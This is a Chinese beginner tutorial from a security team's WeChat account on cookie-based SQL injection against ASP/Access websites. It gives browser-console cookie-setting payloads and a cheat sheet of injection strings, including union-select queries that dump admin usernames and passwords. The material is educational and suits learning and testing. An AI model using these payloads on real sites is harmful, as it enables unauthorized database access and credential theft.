(基础篇-2)浅谈cookie注入

  • A+
所属分类:安全文章

写在前面


非常感谢小伙伴们对我们inn0team的信任与支持,喵喵甚是感动~当然喵喵也没有偷懒喔,这是喵妹第一次发表文章,小伙伴们不要笑话我嘛~~~

相信大家对SQL注入的原理和利用方式已经很熟悉了,对于SQL注入的防范措施基本上可以用过滤和参数化查询来解决。一般的程序只是对GETPOST数据进行过滤,没有对以cookie方式提交的数据进行过滤,导致目标系统可能存在cookie注入。本文将以ASP语言和ACCESS数据库(虽然是老掉牙的组合了,但是我们是来学习原理的好不啦~~~)为例讲解cookie注入的原理及利用方法。

cookie注入形成的原因

程序获取前端提交的数据有三种形式:

获取GET方式提交的数据使用request.querystring()

获取POST方式提交的数据使用request.form()

request()是未指明使用request对象的哪种具体方式进行获取数据,对GETPOSTcookie方式提交的数据都可以接收。当使用GETPOST方式注入被过滤时,可以尝试使用cookie注入。

判断cookie注入

打开正常页面http://192.168.16.198/shownews.asp?id=192,页面打开后在浏览器的控制台输入javascript:alert(document.cookie="id="+escape("192")),此步操作是设置cookie;这里的“id=”是“参数名,“escape("192")”中的“192”是参数值,在控制台执行这条语句后会在页面中弹出一个对话框。(基础篇-2)浅谈cookie注入 现在刷新页面看是否还能正常访问。如果能正常访问,再在控制台执行javascript:alert(document.cookie="id="+escape("192 and 1=2")),刷新页面后页面不能正常显示,说明存在cookie注入。

cookie注入的利用

判断表名:在控制台执行语句javascript:alert(document.cookie="id="+escape("192 and exists (select * from admin "));然后刷新页面,页面正常返回说明存在admin表。接下来和普通的注入差不多,只是自己构造的sql语句放置的位置不一样而已,形如:javascript:alert(document.cookie="id="+escape("192 and 1=2 union select"));在控制台执行完语句后刷新页面即可看到回显内容。

以此附上手工注入ACCESS数据库常用的SQL语句:


1.判断注入点

数值型注入点判断

and 1=1

and 1=2

字符型注入点判断

'and 'a'='a

'and 'a'='b

若两次返回结果不一致,则存在注入点

2.猜解表名

and exists(select * from 表名)

3.猜列数

按照某字段进行排序:order by 第几个字段

如果返回页面不正常,则说明字段数超过了真正的字段数,由此得到表有多少字段

4.猜解列名

and exists(select 列名1,列名2 from 表名)

5.爆数据:

and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from 表名

and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin

6.判断记录数量

http://xxx.com/test.asp?id=1 and 2<(select count(*)from 表名)

7.获取除主键外的其他键值

select 1,2,3,……from user where username not in ('admin','test')或者是

select 1,2,3,……from user where username <> 'admin' and username <> 'test'

以此类推……

最后,感谢团队所有成员对我的信任,么么哒~~~

(基础篇-2)浅谈cookie注入
长按上面的二维码可以关注我们,如果你觉得本文对你有帮助可以分享到朋友圈,谢谢

本文始发于微信公众号(inn0team):(基础篇-2)浅谈cookie注入

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: